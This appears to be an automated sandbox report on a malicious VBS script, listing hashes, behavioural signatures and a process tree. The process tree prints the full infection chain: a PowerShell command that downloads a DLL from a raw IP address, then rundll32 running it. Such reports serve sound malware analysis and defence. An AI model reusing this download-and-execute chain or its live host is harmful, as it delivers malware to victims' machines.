Analysis
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max time kernel
149s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
09-10-2023 22:51
Static task
static1
Behavioral task
behavioral1
Sample
IN(11)-9-12-2023_258806.vbs
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
IN(11)-9-12-2023_258806.vbs
Resource
win10v2004-20230915-en
General
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Target
IN(11)-9-12-2023_258806.vbs
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Size
1KB
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MD5
7b62afd1f1ec24823da003793e6e58be
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SHA1
5220e8670f31beeb7233c88aa99fb5b623d067f0
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SHA256
e8fec6cb888d59401c00b0ba9dcdff2285a71c88ff82de1ede13766ecf2910b3
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SHA512
f3bc89c42a03c37ec8a5235b806226ddfa6444b04e6844fbce1d8281b75a6c65bb81dc14b39e7af16868a832814254883fb2dde983596c5da48deef9eff00d08
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 24 4392 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4392 powershell.exe 4392 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4392 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4908 wrote to memory of 4392 4908 WScript.exe 88 PID 4908 wrote to memory of 4392 4908 WScript.exe 88 PID 4908 wrote to memory of 3276 4908 WScript.exe 100 PID 4908 wrote to memory of 3276 4908 WScript.exe 100
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_258806.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4908 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://23.88.60.168/364f0rv1ni.dll' -outfile 'c:\users\public\name.dll';2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4392
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C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer2⤵PID:3276
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82